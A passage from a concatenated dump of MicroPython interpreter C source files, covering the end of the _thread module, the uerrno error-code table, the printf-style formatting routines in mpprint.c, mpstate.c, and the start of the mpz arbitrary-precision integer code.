MP_THREAD_GIL_EXIT(); return NULL; } STATIC mp_obj_t mod_thread_start_new_thread(size_t n_args, const mp_obj_t *args) { // This structure holds the Python function and arguments for thread entry. // We copy all arguments into this structure to keep ownership of them. // We must be very careful about root pointers because this pointer may // disappear from our address space before the thread is created. thread_entry_args_t *th_args; // get positional arguments size_t pos_args_len; mp_obj_t *pos_args_items; mp_obj_get_array(args[1], &pos_args_len, &pos_args_items); // check for keyword arguments if (n_args == 2) { // just position arguments th_args = m_new_obj_var(thread_entry_args_t, mp_obj_t, pos_args_len); th_args->n_kw = 0; } else { // positional and keyword arguments if (mp_obj_get_type(args[2]) != &mp_type_dict) { mp_raise_TypeError("expecting a dict for keyword args"); } mp_map_t *map = &((mp_obj_dict_t*)MP_OBJ_TO_PTR(args[2]))->map; th_args = m_new_obj_var(thread_entry_args_t, mp_obj_t, pos_args_len + 2 * map->used); th_args->n_kw = map->used; // copy across the keyword arguments for (size_t i = 0, n = pos_args_len; i < map->alloc; ++i) { if (MP_MAP_SLOT_IS_FILLED(map, i)) { th_args->args[n++] = map->table[i].key; th_args->args[n++] = map->table[i].value; } } } // copy agross the positional arguments th_args->n_args = pos_args_len; memcpy(th_args->args, pos_args_items, pos_args_len * sizeof(mp_obj_t)); // pass our locals and globals into the new thread th_args->dict_locals = mp_locals_get(); th_args->dict_globals = mp_globals_get(); // set the stack size to use th_args->stack_size = thread_stack_size; // set the function for thread entry th_args->fun = args[0]; // spawn the thread! mp_thread_create(thread_entry, th_args, &th_args->stack_size); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_thread_start_new_thread_obj, 2, 3, mod_thread_start_new_thread); STATIC mp_obj_t mod_thread_exit(void) { nlr_raise(mp_obj_new_exception(&mp_type_SystemExit)); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_thread_exit_obj, mod_thread_exit); STATIC mp_obj_t mod_thread_allocate_lock(void) { return MP_OBJ_FROM_PTR(mp_obj_new_thread_lock()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_thread_allocate_lock_obj, mod_thread_allocate_lock); STATIC const mp_rom_map_elem_t mp_module_thread_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR__thread) }, { MP_ROM_QSTR(MP_QSTR_LockType), MP_ROM_PTR(&mp_type_thread_lock) }, { MP_ROM_QSTR(MP_QSTR_get_ident), MP_ROM_PTR(&mod_thread_get_ident_obj) }, { MP_ROM_QSTR(MP_QSTR_stack_size), MP_ROM_PTR(&mod_thread_stack_size_obj) }, { MP_ROM_QSTR(MP_QSTR_start_new_thread), MP_ROM_PTR(&mod_thread_start_new_thread_obj) }, { MP_ROM_QSTR(MP_QSTR_exit), MP_ROM_PTR(&mod_thread_exit_obj) }, { MP_ROM_QSTR(MP_QSTR_allocate_lock), MP_ROM_PTR(&mod_thread_allocate_lock_obj) }, }; STATIC MP_DEFINE_CONST_DICT(mp_module_thread_globals, mp_module_thread_globals_table); const mp_obj_module_t mp_module_thread = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_thread_globals, }; #endif // MICROPY_PY_THREAD ================================================ FILE: micropython/source/py/moduerrno.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/obj.h" #include "py/mperrno.h" #if MICROPY_PY_UERRNO // This list can be defined per port in mpconfigport.h to tailor it to a // specific port's needs. If it's not defined then we provide a default. #ifndef MICROPY_PY_UERRNO_LIST #define MICROPY_PY_UERRNO_LIST \ X(EPERM) \ X(ENOENT) \ X(EIO) \ X(EBADF) \ X(EAGAIN) \ X(ENOMEM) \ X(EACCES) \ X(EEXIST) \ X(ENODEV) \ X(EISDIR) \ X(EINVAL) \ X(EOPNOTSUPP) \ X(EADDRINUSE) \ X(ECONNABORTED) \ X(ECONNRESET) \ X(ENOBUFS) \ X(ENOTCONN) \ X(ETIMEDOUT) \ X(ECONNREFUSED) \ X(EHOSTUNREACH) \ X(EALREADY) \ X(EINPROGRESS) \ #endif #if MICROPY_PY_UERRNO_ERRORCODE STATIC const mp_rom_map_elem_t errorcode_table[] = { #define X(e) { MP_ROM_INT(MP_ ## e), MP_ROM_QSTR(MP_QSTR_## e) }, MICROPY_PY_UERRNO_LIST #undef X }; STATIC const mp_obj_dict_t errorcode_dict = { .base = {&mp_type_dict}, .map = { .all_keys_are_qstrs = 0, // keys are integers .is_fixed = 1, .is_ordered = 1, .used = MP_ARRAY_SIZE(errorcode_table), .alloc = MP_ARRAY_SIZE(errorcode_table), .table = (mp_map_elem_t*)(mp_rom_map_elem_t*)errorcode_table, }, }; #endif STATIC const mp_rom_map_elem_t mp_module_uerrno_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_uerrno) }, #if MICROPY_PY_UERRNO_ERRORCODE { MP_ROM_QSTR(MP_QSTR_errorcode), MP_ROM_PTR(&errorcode_dict) }, #endif #define X(e) { MP_ROM_QSTR(MP_QSTR_## e), MP_ROM_INT(MP_ ## e) }, MICROPY_PY_UERRNO_LIST #undef X }; STATIC MP_DEFINE_CONST_DICT(mp_module_uerrno_globals, mp_module_uerrno_globals_table); const mp_obj_module_t mp_module_uerrno = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_uerrno_globals, }; qstr mp_errno_to_str(mp_obj_t errno_val) { #if MICROPY_PY_UERRNO_ERRORCODE // We have the errorcode dict so can do a lookup using the hash map mp_map_elem_t *elem = mp_map_lookup((mp_map_t*)&errorcode_dict.map, errno_val, MP_MAP_LOOKUP); if (elem == NULL) { return MP_QSTR_NULL; } else { return MP_OBJ_QSTR_VALUE(elem->value); } #else // We don't have the errorcode dict so do a simple search in the modules dict for (size_t i = 0; i < MP_ARRAY_SIZE(mp_module_uerrno_globals_table); ++i) { if (errno_val == mp_module_uerrno_globals_table[i].value) { return MP_OBJ_QSTR_VALUE(mp_module_uerrno_globals_table[i].key); } } return MP_QSTR_NULL; #endif } #endif //MICROPY_PY_UERRNO ================================================ FILE: micropython/source/py/mpprint.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/mphal.h" #include "py/mpprint.h" #include "py/obj.h" #include "py/objint.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_FLOAT #include "py/formatfloat.h" #endif static const char pad_spaces[] = " "; static const char pad_zeroes[] = "0000000000000000"; STATIC void plat_print_strn(void *env, const char *str, size_t len) { (void)env; MP_PLAT_PRINT_STRN(str, len); } const mp_print_t mp_plat_print = {NULL, plat_print_strn}; int mp_print_str(const mp_print_t *print, const char *str) { size_t len = strlen(str); if (len) { print->print_strn(print->data, str, len); } return len; } int mp_print_strn(const mp_print_t *print, const char *str, size_t len, int flags, char fill, int width) { int left_pad = 0; int right_pad = 0; int pad = width - len; int pad_size; int total_chars_printed = 0; const char *pad_chars; if (!fill || fill == ' ') { pad_chars = pad_spaces; pad_size = sizeof(pad_spaces) - 1; } else if (fill == '0') { pad_chars = pad_zeroes; pad_size = sizeof(pad_zeroes) - 1; } else { // Other pad characters are fairly unusual, so we'll take the hit // and output them 1 at a time. pad_chars = &fill; pad_size = 1; } if (flags & PF_FLAG_CENTER_ADJUST) { left_pad = pad / 2; right_pad = pad - left_pad; } else if (flags & PF_FLAG_LEFT_ADJUST) { right_pad = pad; } else { left_pad = pad; } if (left_pad > 0) { total_chars_printed += left_pad; while (left_pad > 0) { int p = left_pad; if (p > pad_size) { p = pad_size; } print->print_strn(print->data, pad_chars, p); left_pad -= p; } } if (len) { print->print_strn(print->data, str, len); total_chars_printed += len; } if (right_pad > 0) { total_chars_printed += right_pad; while (right_pad > 0) { int p = right_pad; if (p > pad_size) { p = pad_size; } print->print_strn(print->data, pad_chars, p); right_pad -= p; } } return total_chars_printed; } // 32-bits is 10 digits, add 3 for commas, 1 for sign, 1 for terminating null // We can use 16 characters for 32-bit and 32 characters for 64-bit #define INT_BUF_SIZE (sizeof(mp_int_t) * 4) // Our mp_vprintf function below does not support the '#' format modifier to // print the prefix of a non-base-10 number, so we don't need code for this. #define SUPPORT_INT_BASE_PREFIX (0) // This function is used exclusively by mp_vprintf to format ints. // It needs to be a separate function to mp_print_mp_int, since converting to a mp_int looses the MSB. STATIC int mp_print_int(const mp_print_t *print, mp_uint_t x, int sgn, int base, int base_char, int flags, char fill, int width) { char sign = 0; if (sgn) { if ((mp_int_t)x < 0) { sign = '-'; x = -x; } else if (flags & PF_FLAG_SHOW_SIGN) { sign = '+'; } else if (flags & PF_FLAG_SPACE_SIGN) { sign = ' '; } } char buf[INT_BUF_SIZE]; char *b = buf + INT_BUF_SIZE; if (x == 0) { *(--b) = '0'; } else { do { int c = x % base; x /= base; if (c >= 10) { c += base_char - 10; } else { c += '0'; } *(--b) = c; } while (b > buf && x != 0); } #if SUPPORT_INT_BASE_PREFIX char prefix_char = '\0'; if (flags & PF_FLAG_SHOW_PREFIX) { if (base == 2) { prefix_char = base_char + 'b' - 'a'; } else if (base == 8) { prefix_char = base_char + 'o' - 'a'; } else if (base == 16) { prefix_char = base_char + 'x' - 'a'; } } #endif int len = 0; if (flags & PF_FLAG_PAD_AFTER_SIGN) { if (sign) { len += mp_print_strn(print, &sign, 1, flags, fill, 1); width--; } #if SUPPORT_INT_BASE_PREFIX if (prefix_char) { len += mp_print_strn(print, "0", 1, flags, fill, 1); len += mp_print_strn(print, &prefix_char, 1, flags, fill, 1); width -= 2; } #endif } else { #if SUPPORT_INT_BASE_PREFIX if (prefix_char && b > &buf[1]) { *(--b) = prefix_char; *(--b) = '0'; } #endif if (sign && b > buf) { *(--b) = sign; } } len += mp_print_strn(print, b, buf + INT_BUF_SIZE - b, flags, fill, width); return len; } int mp_print_mp_int(const mp_print_t *print, mp_obj_t x, int base, int base_char, int flags, char fill, int width, int prec) { // These are the only values for "base" that are required to be supported by this // function, since Python only allows the user to format integers in these bases. // If needed this function could be generalised to handle other values. assert(base == 2 || base == 8 || base == 10 || base == 16); if (!MP_OBJ_IS_INT(x)) { // This will convert booleans to int, or raise an error for // non-integer types. x = MP_OBJ_NEW_SMALL_INT(mp_obj_get_int(x)); } if ((flags & (PF_FLAG_LEFT_ADJUST | PF_FLAG_CENTER_ADJUST)) == 0 && fill == '0') { if (prec > width) { width = prec; } prec = 0; } char prefix_buf[4]; char *prefix = prefix_buf; if (mp_obj_int_sign(x) >= 0) { if (flags & PF_FLAG_SHOW_SIGN) { *prefix++ = '+'; } else if (flags & PF_FLAG_SPACE_SIGN) { *prefix++ = ' '; } } if (flags & PF_FLAG_SHOW_PREFIX) { if (base == 2) { *prefix++ = '0'; *prefix++ = base_char + 'b' - 'a'; } else if (base == 8) { *prefix++ = '0'; if (flags & PF_FLAG_SHOW_OCTAL_LETTER) { *prefix++ = base_char + 'o' - 'a'; } } else if (base == 16) { *prefix++ = '0'; *prefix++ = base_char + 'x' - 'a'; } } *prefix = '\0'; int prefix_len = prefix - prefix_buf; prefix = prefix_buf; char comma = '\0'; if (flags & PF_FLAG_SHOW_COMMA) { comma = ','; } // The size of this buffer is rather arbitrary. If it's not large // enough, a dynamic one will be allocated. char stack_buf[sizeof(mp_int_t) * 4]; char *buf = stack_buf; size_t buf_size = sizeof(stack_buf); size_t fmt_size = 0; char *str; if (prec > 1) { flags |= PF_FLAG_PAD_AFTER_SIGN; } char sign = '\0'; if (flags & PF_FLAG_PAD_AFTER_SIGN) { // We add the pad in this function, so since the pad goes after // the sign & prefix, we format without a prefix str = mp_obj_int_formatted(&buf, &buf_size, &fmt_size, x, base, NULL, base_char, comma); if (*str == '-') { sign = *str++; fmt_size--; } } else { str = mp_obj_int_formatted(&buf, &buf_size, &fmt_size, x, base, prefix, base_char, comma); } int spaces_before = 0; int spaces_after = 0; if (prec > 1) { // If prec was specified, then prec specifies the width to zero-pad the // the number to. This zero-padded number then gets left or right // aligned in width characters. int prec_width = fmt_size; // The digits if (prec_width < prec) { prec_width = prec; } if (flags & PF_FLAG_PAD_AFTER_SIGN) { if (sign) { prec_width++; } prec_width += prefix_len; } if (prec_width < width) { if (flags & PF_FLAG_LEFT_ADJUST) { spaces_after = width - prec_width; } else { spaces_before = width - prec_width; } } fill = '0'; flags &= ~PF_FLAG_LEFT_ADJUST; } int len = 0; if (spaces_before) { len += mp_print_strn(print, "", 0, 0, ' ', spaces_before); } if (flags & PF_FLAG_PAD_AFTER_SIGN) { // pad after sign implies pad after prefix as well. if (sign) { len += mp_print_strn(print, &sign, 1, 0, 0, 1); width--; } if (prefix_len) { len += mp_print_strn(print, prefix, prefix_len, 0, 0, 1); width -= prefix_len; } } if (prec > 1) { width = prec; } len += mp_print_strn(print, str, fmt_size, flags, fill, width); if (spaces_after) { len += mp_print_strn(print, "", 0, 0, ' ', spaces_after); } if (buf != stack_buf) { m_del(char, buf, buf_size); } return len; } #if MICROPY_PY_BUILTINS_FLOAT int mp_print_float(const mp_print_t *print, mp_float_t f, char fmt, int flags, char fill, int width, int prec) { char buf[32]; char sign = '\0'; int chrs = 0; if (flags & PF_FLAG_SHOW_SIGN) { sign = '+'; } else if (flags & PF_FLAG_SPACE_SIGN) { sign = ' '; } int len = mp_format_float(f, buf, sizeof(buf), fmt, prec, sign); char *s = buf; if ((flags & PF_FLAG_ADD_PERCENT) && (size_t)(len + 1) < sizeof(buf)) { buf[len++] = '%'; buf[len] = '\0'; } // buf[0] < '0' returns true if the first character is space, + or - if ((flags & PF_FLAG_PAD_AFTER_SIGN) && buf[0] < '0') { // We have a sign character s++; chrs += mp_print_strn(print, &buf[0], 1, 0, 0, 1); width--; len--; } chrs += mp_print_strn(print, s, len, flags, fill, width); return chrs; } #endif int mp_printf(const mp_print_t *print, const char *fmt, ...) { va_list ap; va_start(ap, fmt); int ret = mp_vprintf(print, fmt, ap); va_end(ap); return ret; } int mp_vprintf(const mp_print_t *print, const char *fmt, va_list args) { int chrs = 0; for (;;) { { const char *f = fmt; while (*f != '\0' && *f != '%') { ++f; // XXX UTF8 advance char } if (f > fmt) { print->print_strn(print->data, fmt, f - fmt); chrs += f - fmt; fmt = f; } } if (*fmt == '\0') { break; } // move past % character ++fmt; // parse flags, if they exist int flags = 0; char fill = ' '; while (*fmt != '\0') { if (*fmt == '-') flags |= PF_FLAG_LEFT_ADJUST; else if (*fmt == '+') flags |= PF_FLAG_SHOW_SIGN; else if (*fmt == ' ') flags |= PF_FLAG_SPACE_SIGN; else if (*fmt == '!') flags |= PF_FLAG_NO_TRAILZ; else if (*fmt == '0') { flags |= PF_FLAG_PAD_AFTER_SIGN; fill = '0'; } else break; ++fmt; } // parse width, if it exists int width = 0; for (; '0' <= *fmt && *fmt <= '9'; ++fmt) { width = width * 10 + *fmt - '0'; } // parse precision, if it exists int prec = -1; if (*fmt == '.') { ++fmt; if (*fmt == '*') { ++fmt; prec = va_arg(args, int); } else { prec = 0; for (; '0' <= *fmt && *fmt <= '9'; ++fmt) { prec = prec * 10 + *fmt - '0'; } } if (prec < 0) { prec = 0; } } // parse long specifiers (current not used) //bool long_arg = false; if (*fmt == 'l') { ++fmt; //long_arg = true; } if (*fmt == '\0') { break; } switch (*fmt) { case 'b': if (va_arg(args, int)) { chrs += mp_print_strn(print, "true", 4, flags, fill, width); } else { chrs += mp_print_strn(print, "false", 5, flags, fill, width); } break; case 'c': { char str = va_arg(args, int); chrs += mp_print_strn(print, &str, 1, flags, fill, width); break; } case 'q': { qstr qst = va_arg(args, qstr); size_t len; const char *str = (const char*)qstr_data(qst, &len); if (prec < 0) { prec = len; } chrs += mp_print_strn(print, str, prec, flags, fill, width); break; } case 's': { const char *str = va_arg(args, const char*); if (str) { if (prec < 0) { prec = strlen(str); } chrs += mp_print_strn(print, str, prec, flags, fill, width); } else { chrs += mp_print_strn(print, "(null)", 6, flags, fill, width); } break; } case 'u': chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 10, 'a', flags, fill, width); break; case 'd': chrs += mp_print_int(print, va_arg(args, int), 1, 10, 'a', flags, fill, width); break; case 'x': chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 16, 'a', flags, fill, width); break; case 'X': chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 16, 'A', flags, fill, width); break; case 'p': case 'P': // don't bother to handle upcase for 'P' chrs += mp_print_int(print, va_arg(args, unsigned int), 0, 16, 'a', flags, fill, width); break; #if MICROPY_PY_BUILTINS_FLOAT case 'e': case 'E': case 'f': case 'F': case 'g': case 'G': { #if ((MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT) || (MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE)) mp_float_t f = va_arg(args, double); chrs += mp_print_float(print, f, *fmt, flags, fill, width, prec); #else #error Unknown MICROPY FLOAT IMPL #endif break; } #endif // Because 'l' is eaten above, another 'l' means %ll. We need to support // this length specifier for OBJ_REPR_D (64-bit NaN boxing). // TODO Either enable this unconditionally, or provide a specific config var. #if (MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D) || defined(_WIN64) case 'l': { unsigned long long int arg_value = va_arg(args, unsigned long long int); ++fmt; if (*fmt == 'u' || *fmt == 'd') { chrs += mp_print_int(print, arg_value, *fmt == 'd', 10, 'a', flags, fill, width); break; } assert(!"unsupported fmt char"); } #endif default: // if it's not %% then it's an unsupported format character assert(*fmt == '%' || !"unsupported fmt char"); print->print_strn(print->data, fmt, 1); chrs += 1; break; } ++fmt; } return chrs; } ================================================ FILE: micropython/source/py/mpstate.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #if MICROPY_DYNAMIC_COMPILER mp_dynamic_compiler_t mp_dynamic_compiler = {0}; #endif mp_state_ctx_t mp_state_ctx; ================================================ FILE: micropython/source/py/mpz.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/mpz.h" #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ #define DIG_SIZE (MPZ_DIG_SIZE) #define DIG_MASK ((MPZ_LONG_1 << DIG_SIZE) - 1) #define DIG_MSB (MPZ_LONG_1 << (DIG_SIZE - 1)) #define DIG_BASE (MPZ_LONG_1 << DIG_SIZE) /* mpz is an arbitrary precision integer type with a public API. mpn functions act on non-negative integers represented by an array of generalised digits (eg a word per digit). You also need to specify separately the length of the array. There is no public API for mpn. Rather, the functions are used by mpz to implement its features. Integer values are stored little endian (first digit is first in memory). Definition of normalise: ? */ STATIC size_t mpn_remove_trailing_zeros(mpz_dig_t *oidig, mpz_dig_t *idig) { for (--idig; idig >= oidig && *idig == 0; --idig) { } return idig + 1 - oidig; } /* compares i with j returns sign(i - j) assumes i, j are normalised */ STATIC int mpn_cmp(const mpz_dig_t *idig, size_t ilen, const mpz_dig_t *jdig, size_t jlen) { if (ilen < jlen) { return -1; } if (ilen > jlen) { return 1; } for (idig += ilen, jdig += ilen; ilen > 0; --ilen) { mpz_dbl_dig_signed_t cmp = (mpz_dbl_dig_t)*(--idig) - (mpz_dbl_dig_t)*(--jdig); if (cmp < 0) { return -1; } if (cmp > 0) { return 1; } } return 0; } /* computes i = j << n returns number of digits in i assumes enough memory in i; assumes normalised j; assumes n > 0 can have i, j pointing to same memory */ STATIC size_t mpn_shl(mpz_dig_t *idig, mpz_dig_t *jdig, size_t jlen, mp_uint_t n) { mp_uint_t n_whole = (n + DIG_SIZE - 1) / DIG_SIZE; mp_uint_t n_part = n % DIG_SIZE; if (n_part == 0) { n_part = DIG_SIZE; } // start from the high end of the digit arrays idig += jlen + n_whole - 1; jdig += jlen - 1; // shift the digits mpz_dbl_dig_t d = 0; for (size_t i = jlen; i > 0; i--, idig--, jdig--) { d |= *jdig; *idig = (d >> (DIG_SIZE - n_part)) & DIG_MASK; d <<= DIG_SIZE; } // store remaining bits *idig = (d >> (DIG_SIZE - n_part)) & DIG_MASK; idig -= n_whole - 1; memset(idig, 0, (n_whole - 1) * sizeof(mpz_dig_t)); // work out length of result jlen += n_whole; while (jlen != 0 && idig[jlen - 1] == 0) { jlen--; } // return length of result return jlen; } /* computes i = j >> n returns number of digits in i assumes enough memory in i; assumes normalised j; assumes n > 0 can have i, j pointing to same memory */ STATIC size_t mpn_shr(mpz_dig_t *idig, mpz_dig_t *jdig, size_t jlen, mp_uint_t n) { mp_uint_t n_whole = n / DIG_SIZE; mp_uint_t n_part = n % DIG_SIZE; if (n_whole >= jlen) { return 0; } jdig += n_whole; jlen -= n_whole; for (size_t i = jlen; i > 0; i--, idig++, jdig++) { mpz_dbl_dig_t d = *jdig; if (i > 1) { d |= (mpz_dbl_dig_t)jdig[1] << DIG_SIZE; } d >>= n_part; *idig = d & DIG_MASK; } if (idig[-1] == 0) { jlen--; } return jlen; } /* computes i = j + k returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen can have i, j, k pointing to same memory */ STATIC size_t mpn_add(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) { mpz_dig_t *oidig = idig; mpz_dbl_dig_t carry = 0; jlen -= klen; for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) { carry += (mpz_dbl_dig_t)*jdig + (mpz_dbl_dig_t)*kdig; *idig = carry & DIG_MASK; carry >>= DIG_SIZE; } for (; jlen > 0; --jlen, ++idig, ++jdig) { carry += *jdig; *idig = carry & DIG_MASK; carry >>= DIG_SIZE; } if (carry != 0) { *idig++ = carry; } return idig - oidig; } /* computes i = j - k returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes j >= k can have i, j, k pointing to same memory */ STATIC size_t mpn_sub(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) { mpz_dig_t *oidig = idig; mpz_dbl_dig_signed_t borrow = 0; jlen -= klen; for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) { borrow += (mpz_dbl_dig_t)*jdig - (mpz_dbl_dig_t)*kdig; *idig = borrow & DIG_MASK; borrow >>= DIG_SIZE; } for (; jlen > 0; --jlen, ++idig, ++jdig) { borrow += *jdig; *idig = borrow & DIG_MASK; borrow >>= DIG_SIZE; } return mpn_remove_trailing_zeros(oidig, idig); } #if MICROPY_OPT_MPZ_BITWISE /* computes i = j & k returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen (jlen argument not needed) can have i, j, k pointing to same memory */ STATIC size_t mpn_and(mpz_dig_t *idig, const mpz_dig_t *jdig, const mpz_dig_t *kdig, size_t klen) { mpz_dig_t *oidig = idig; for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) { *idig = *jdig & *kdig; } return mpn_remove_trailing_zeros(oidig, idig); } #endif /* i = -((-j) & (-k)) = ~((~j + 1) & (~k + 1)) + 1 i = (j & (-k)) = (j & (~k + 1)) = ( j & (~k + 1)) i = ((-j) & k) = ((~j + 1) & k) = ((~j + 1) & k ) computes general form: i = (im ^ (((j ^ jm) + jc) & ((k ^ km) + kc))) + ic where Xm = Xc == 0 ? 0 : DIG_MASK returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes length j >= length k can have i, j, k pointing to same memory */ STATIC size_t mpn_and_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen, mpz_dbl_dig_t carryi, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) { mpz_dig_t *oidig = idig; mpz_dig_t imask = (0 == carryi) ? 0 : DIG_MASK; mpz_dig_t jmask = (0 == carryj) ? 0 : DIG_MASK; mpz_dig_t kmask = (0 == carryk) ? 0 : DIG_MASK; for (; jlen > 0; ++idig, ++jdig) { carryj += *jdig ^ jmask; carryk += (--klen <= --jlen) ? (*kdig++ ^ kmask) : kmask; carryi += ((carryj & carryk) ^ imask) & DIG_MASK; *idig = carryi & DIG_MASK; carryk >>= DIG_SIZE; carryj >>= DIG_SIZE; carryi >>= DIG_SIZE; } if (0 != carryi) { *idig++ = carryi; } return mpn_remove_trailing_zeros(oidig, idig); } #if MICROPY_OPT_MPZ_BITWISE /* computes i = j | k returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen can have i, j, k pointing to same memory */ STATIC size_t mpn_or(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) { mpz_dig_t *oidig = idig; jlen -= klen; for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) { *idig = *jdig | *kdig; } for (; jlen > 0; --jlen, ++idig, ++jdig) { *idig = *jdig; } return idig - oidig; } #endif /* i = -((-j) | (-k)) = ~((~j + 1) | (~k + 1)) + 1 i = -(j | (-k)) = -(j | (~k + 1)) = ~( j | (~k + 1)) + 1 i = -((-j) | k) = -((~j + 1) | k) = ~((~j + 1) | k ) + 1 computes general form: i = ~(((j ^ jm) + jc) | ((k ^ km) + kc)) + 1 where Xm = Xc == 0 ? 0 : DIG_MASK returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes length j >= length k can have i, j, k pointing to same memory */ #if MICROPY_OPT_MPZ_BITWISE STATIC size_t mpn_or_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) { mpz_dig_t *oidig = idig; mpz_dbl_dig_t carryi = 1; mpz_dig_t jmask = (0 == carryj) ? 0 : DIG_MASK; mpz_dig_t kmask = (0 == carryk) ? 0 : DIG_MASK; for (; jlen > 0; ++idig, ++jdig) { carryj += *jdig ^ jmask; carryk += (--klen <= --jlen) ? 